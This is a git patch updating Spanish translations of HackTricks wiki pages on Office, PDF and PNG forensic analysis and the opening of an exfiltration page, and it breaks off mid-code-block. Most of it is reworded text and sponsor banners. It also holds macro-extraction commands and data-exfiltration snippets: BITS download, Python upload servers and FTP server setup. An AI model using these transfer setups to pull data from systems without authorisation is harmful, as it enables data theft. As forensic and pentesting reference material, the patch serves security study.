From b345376d574ec969b345cb8d9a7883ba9abd6e6d Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 5 Feb 2024 20:16:40 +0000 Subject: [PATCH] Translated ['forensics/basic-forensic-methodology/specific-software-file --- SUMMARY.md | 1 - .../office-file-analysis.md | 48 +- .../pdf-file-analysis.md | 42 +- .../png-tricks.md | 30 +- .../exfiltration.md | 105 +++- .../pentesting-methodology.md | 106 ++-- .../burp-configuration-for-ios.md | 113 ++-- .../2375-pentesting-docker.md | 55 +- .../README.md | 320 +++++----- ...rowext-permissions-and-host_permissions.md | 88 ++- .../browext-xss-example.md | 139 ++--- .../README.md | 437 +++++++------- pentesting-web/cors-bypass.md | 376 +++++------- pentesting-web/crlf-0d-0a.md | 157 +++-- .../csrf-cross-site-request-forgery.md | 234 ++++---- .../README.md | 161 +++-- .../ss-leaks.md | 86 +-- pentesting-web/domain-subdomain-takeover.md | 15 +- pentesting-web/email-injections.md | 82 +-- pentesting-web/file-inclusion/README.md | 430 ++++++------- .../lfi2rce-via-nginx-temp-files.md | 66 +- .../file-inclusion/lfi2rce-via-phpinfo.md | 50 +- .../lfi2rce-via-segmentation-fault.md | 31 +- .../lfi2rce-via-temp-file-uploads.md | 70 +-- .../via-php_session_upload_progress.md | 39 +- pentesting-web/file-upload/README.md | 294 +++++---- pentesting-web/hacking-with-cookies/README.md | 254 ++++---- .../hacking-with-cookies/cookie-bomb.md | 30 +- .../http-request-smuggling/README.md | 568 ++++++++++-------- .../browser-http-request-smuggling.md | 12 +- .../request-smuggling-in-http-2-downgrades.md | 145 +---- .../README.md | 198 +++--- 32 files changed, 2289 insertions(+), 2493 deletions(-) diff --git a/SUMMARY.md b/SUMMARY.md index a182ee0f8..5b52a89b3 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -537,7 +537,6 @@ ## 🕸 Pentesting Web * [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md) - * [Browser Extensions](pentesting-web/web-vulnerabilities-methodology/browser-extensions.md) * [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md) * [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md) * [2FA/OTP Bypass](pentesting-web/2fa-bypass.md) diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 1d35a2d86..a47b2ef38 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -1,32 +1,32 @@ -# Análisis de archivos de Office +# Análisis de archivos de oficina
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
\ -Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas**.\ -Obtén Acceso Hoy: +Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ +Obtén acceso hoy: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Introducción -Microsoft ha creado **docenas de formatos de archivo de documentos de Office**, muchos de los cuales son populares para la distribución de ataques de phishing y malware debido a su capacidad de **incluir macros** (scripts VBA). +Microsoft ha creado **docenas de formatos de archivo de documentos de oficina**, muchos de los cuales son populares para la distribución de ataques de phishing y malware debido a su capacidad de **incluir macros** (scripts VBA). -Hablando en términos generales, hay dos generaciones de formato de archivo de Office: los formatos **OLE** (extensiones de archivo como RTF, DOC, XLS, PPT), y los formatos "**Office Open XML**" (extensiones de archivo que incluyen DOCX, XLSX, PPTX). **Ambos** formatos son estructurados, formatos binarios de archivo compuesto que **permiten contenido Vinculado o Embebido** (Objetos). Los archivos OOXML son contenedores de archivos zip, lo que significa que una de las formas más fáciles de buscar datos ocultos es simplemente `unzip` el documento: +En términos generales, existen dos generaciones de formatos de archivo de Office: los **formatos OLE** (extensiones de archivo como RTF, DOC, XLS, PPT) y los formatos "**Office Open XML**" (extensiones de archivo que incluyen DOCX, XLSX, PPTX). **Ambos** formatos son formatos binarios de archivo compuesto estructurados que **permiten contenido vinculado o incrustado** (objetos). Los archivos OOXML son contenedores de archivos zip, lo que significa que una de las formas más fáciles de verificar datos ocultos es simplemente `descomprimir` el documento: ``` $ unzip example.docx Archive: example.docx @@ -67,11 +67,11 @@ $ tree │ └── theme1.xml └── webSettings.xml ``` -Como puede ver, parte de la estructura es creada por la jerarquía de archivos y carpetas. El resto se especifica dentro de los archivos XML. [_Nuevas Técnicas Esteganográficas para el Formato de Archivo OOXML_, 2011](http://download.springer.com/static/pdf/713/chp%3A10.1007%2F978-3-642-23300-5\_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5\_27\&token2=exp=1497911340\~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5\_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5\_27\*\~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d) detalla algunas ideas para técnicas de ocultamiento de datos, pero los autores de desafíos CTF siempre estarán ideando nuevas. +Como puedes ver, parte de la estructura es creada por el archivo y la jerarquía de carpetas. El resto está especificado dentro de los archivos XML. [_Nuevas técnicas esteganográficas para el formato de archivo OOXML_, 2011](http://download.springer.com/static/pdf/713/chp%3A10.1007%2F978-3-642-23300-5\_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5\_27\&token2=exp=1497911340\~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5\_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5\_27\*\~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d) detalla algunas ideas para técnicas de ocultación de datos, pero los autores de desafíos CTF siempre estarán ideando nuevas. -Una vez más, existe un conjunto de herramientas Python para el examen y **análisis de documentos OLE y OOXML**: [oletools](http://www.decalage.info/python/oletools). Para documentos OOXML en particular, [OfficeDissector](https://www.officedissector.com) es un marco de análisis muy potente (y biblioteca Python). Este último incluye una [guía rápida para su uso](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt). +Una vez más, existe un conjunto de herramientas en Python para el examen y **análisis de documentos OLE y OOXML**: [oletools](http://www.decalage.info/python/oletools). Para documentos OOXML en particular, [OfficeDissector](https://www.officedissector.com) es un marco de análisis muy potente (y una biblioteca de Python). Este último incluye una [guía rápida sobre su uso](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt). -A veces, el desafío no es encontrar datos estáticos ocultos, sino **analizar una macro VBA** para determinar su comportamiento. Este es un escenario más realista y uno que los analistas en el campo realizan todos los días. Las herramientas disectoras mencionadas pueden indicar si una macro está presente y probablemente extraerla para usted. Una macro VBA típica en un documento de Office, en Windows, descargará un script de PowerShell en %TEMP% e intentará ejecutarlo, en cuyo caso ahora también tiene una tarea de análisis de script de PowerShell. Pero las macros VBA maliciosas rara vez son complicadas ya que VBA es [típicamente solo utilizada como una plataforma de lanzamiento para iniciar la ejecución de código](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). En el caso de que necesite entender una macro VBA complicada, o si la macro está ofuscada y tiene una rutina de desempaquetado, no necesita tener una licencia de Microsoft Office para depurar esto. Puede usar [Libre Office](http://libreoffice.org): [su interfaz](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) le será familiar a cualquiera que haya depurado un programa; puede establecer puntos de interrupción y crear variables de observación y capturar valores después de que hayan sido desempaquetados pero antes de que se haya ejecutado cualquier comportamiento de la carga útil. Incluso puede iniciar una macro de un documento específico desde una línea de comandos: +A veces, el desafío no es encontrar datos estáticos ocultos, sino **analizar una macro VBA** para determinar su comportamiento. Este es un escenario más realista y uno que los analistas en el campo realizan a diario. Las herramientas de disector mencionadas pueden indicar si hay una macro presente y probablemente extraerla para ti. Una macro VBA típica en un documento de Office, en Windows, descargará un script de PowerShell a %TEMP% e intentará ejecutarlo, en cuyo caso ahora tendrás también una tarea de análisis de script de PowerShell. Pero las macros VBA maliciosas rara vez son complicadas, ya que VBA se [suele utilizar solo como una plataforma de inicio para la ejecución de código](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). En el caso de que necesites entender una macro VBA complicada, o si la macro está ofuscada y tiene un rutina de desempaquetado, no necesitas tener una licencia de Microsoft Office para depurar esto. Puedes usar [Libre Office](http://libreoffice.org): [su interfaz](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) será familiar para cualquiera que haya depurado un programa; puedes establecer puntos de interrupción, crear variables de seguimiento y capturar valores después de que se hayan desempaquetado pero antes de que se haya ejecutado el comportamiento del payload. Incluso puedes iniciar una macro de un documento específico desde una línea de comandos: ``` $ soffice path/to/test.docx macro://./standard.module1.mymacro ``` @@ -82,30 +82,30 @@ olevba -c /path/to/document #Extract macros ``` ## Ejecución Automática -Funciones de macro como `AutoOpen`, `AutoExec` o `Document_Open` serán **ejecutadas** **automáticamente**. +Las funciones de macro como `AutoOpen`, `AutoExec` o `Document_Open` se **ejecutarán automáticamente**. ## Referencias * [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -
+
\ -Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** potenciados por las herramientas comunitarias **más avanzadas**.\ -Obtén Acceso Hoy: +Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ +¡Accede hoy mismo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 2015eab23..30904de57 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -2,56 +2,56 @@
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
\ -Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas**.\ -Obtén acceso hoy: +Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ +¡Accede hoy mismo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} De: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -El formato PDF es un formato de archivo de documento extremadamente complicado, con suficientes trucos y escondites [para escribir sobre ellos durante años](https://www.sultanik.com/pocorgtfo/). Esto también lo hace popular para los desafíos de forense en CTF. La NSA escribió una guía sobre estos escondites en 2008 titulada "Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures". Ya no está disponible en su URL original, pero puedes [encontrar una copia aquí](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf). Ange Albertini también mantiene un wiki en GitHub sobre [trucos del formato de archivo PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md). +El formato PDF es extremadamente complicado, con suficientes trucos y lugares ocultos [para escribir durante años](https://www.sultanik.com/pocorgtfo/). Esto también lo hace popular para desafíos forenses de CTF. La NSA escribió una guía sobre estos lugares ocultos en 2008 titulada "Datos ocultos y metadatos en archivos PDF de Adobe: Riesgos de publicación y contramedidas". Ya no está disponible en su URL original, pero puedes [encontrar una copia aquí](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf). Ange Albertini también mantiene un wiki en GitHub sobre [trucos del formato de archivo PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md). -El formato PDF es parcialmente texto plano, como HTML, pero con muchos "objetos" binarios en el contenido. Didier Stevens ha escrito [material introductorio bueno](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) sobre el formato. Los objetos binarios pueden ser datos comprimidos o incluso encriptados, e incluir contenido en lenguajes de scripting como JavaScript o Flash. Para mostrar la estructura de un PDF, puedes navegarlo con un editor de texto o abrirlo con un editor de formato de archivo consciente de PDF como Origami. +El formato PDF es parcialmente de texto plano, como HTML, pero con muchos "objetos" binarios en el contenido. Didier Stevens ha escrito [buen material introductorio](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) sobre el formato. Los objetos binarios pueden ser datos comprimidos o incluso encriptados, e incluyen contenido en lenguajes de script como JavaScript o Flash. Para mostrar la estructura de un PDF, puedes navegarlo con un editor de texto o abrirlo con un editor de formato de archivo con conocimiento de PDF como Origami. [qpdf](https://github.com/qpdf/qpdf) es una herramienta que puede ser útil para explorar un PDF y transformar o extraer información de él. Otra es un marco en Ruby llamado [Origami](https://github.com/mobmewireless/origami-pdf). -Al explorar el contenido de un PDF en busca de datos ocultos, algunos de los escondites a verificar incluyen: +Al explorar el contenido de un PDF en busca de datos ocultos, algunos de los lugares para verificar incluyen: * capas no visibles * el formato de metadatos de Adobe "XMP" -* la característica de "generación incremental" de PDF en la que se retiene una versión anterior pero no es visible para el usuario -* texto blanco sobre fondo blanco +* la característica de "generación incremental" de PDF en la que se conserva una versión anterior pero no es visible para el usuario +* texto blanco sobre un fondo blanco * texto detrás de imágenes -* una imagen detrás de otra imagen superpuesta +* una imagen detrás de una imagen superpuesta * comentarios no mostrados -También hay varios paquetes de Python para trabajar con el formato de archivo PDF, como [PeepDF](https://github.com/jesparza/peepdf), que te permiten escribir tus propios scripts de análisis. +También existen varios paquetes de Python para trabajar con el formato de archivo PDF, como [PeepDF](https://github.com/jesparza/peepdf), que te permiten escribir tus propios scripts de análisis.
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 59d793ffc..e9346cbbe 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,34 +1,18 @@
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)! Otras formas de apoyar a HackTricks: -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-Los archivos PNG, en particular, son populares en desafíos de CTF, probablemente por su compresión sin pérdida adecuada para ocultar datos no visuales en la imagen. Los archivos PNG pueden ser diseccionados en Wireshark. Para verificar la corrección o intentar reparar PNGs corruptos puedes usar [pngcheck](http://libpng.org/pub/png/apps/pngcheck.html) +Los archivos PNG, en particular, son populares en desafíos CTF, probablemente por su compresión sin pérdida adecuada para ocultar datos no visuales en la imagen. Los archivos PNG pueden ser disecados en Wireshark. Para verificar la corrección o intentar reparar PNGs corruptos, puedes usar [pngcheck](http://libpng.org/pub/png/apps/pngcheck.html) -Puedes intentar reparar PNGs corruptos usando herramientas en línea como [https://online.officerecovery.com/pixrecovery/](https://online.officerecovery.com/pixrecovery/) - - - -
- -Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! - -Otras formas de apoyar a HackTricks: - -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
+Puedes intentar reparar PNGs corruptos utilizando herramientas en línea como [https://online.officerecovery.com/pixrecovery/](https://online.officerecovery.com/pixrecovery/) diff --git a/generic-methodologies-and-resources/exfiltration.md b/generic-methodologies-and-resources/exfiltration.md index 6a223aa03..87d9c1598 100644 --- a/generic-methodologies-and-resources/exfiltration.md +++ b/generic-methodologies-and-resources/exfiltration.md @@ -2,21 +2,21 @@
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-Encuentra vulnerabilidades que importan más para poder arreglarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. +Encuentra vulnerabilidades que son más importantes para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} @@ -65,7 +65,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous ### Subir archivos * [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) -* [**SimpleHttpServer que imprime GET y POSTs (también cabeceras)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) +* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) * Módulo de Python [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files @@ -150,7 +150,7 @@ mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` -### **Cliente Windows** +### Cliente de **Windows** ```bash #Work 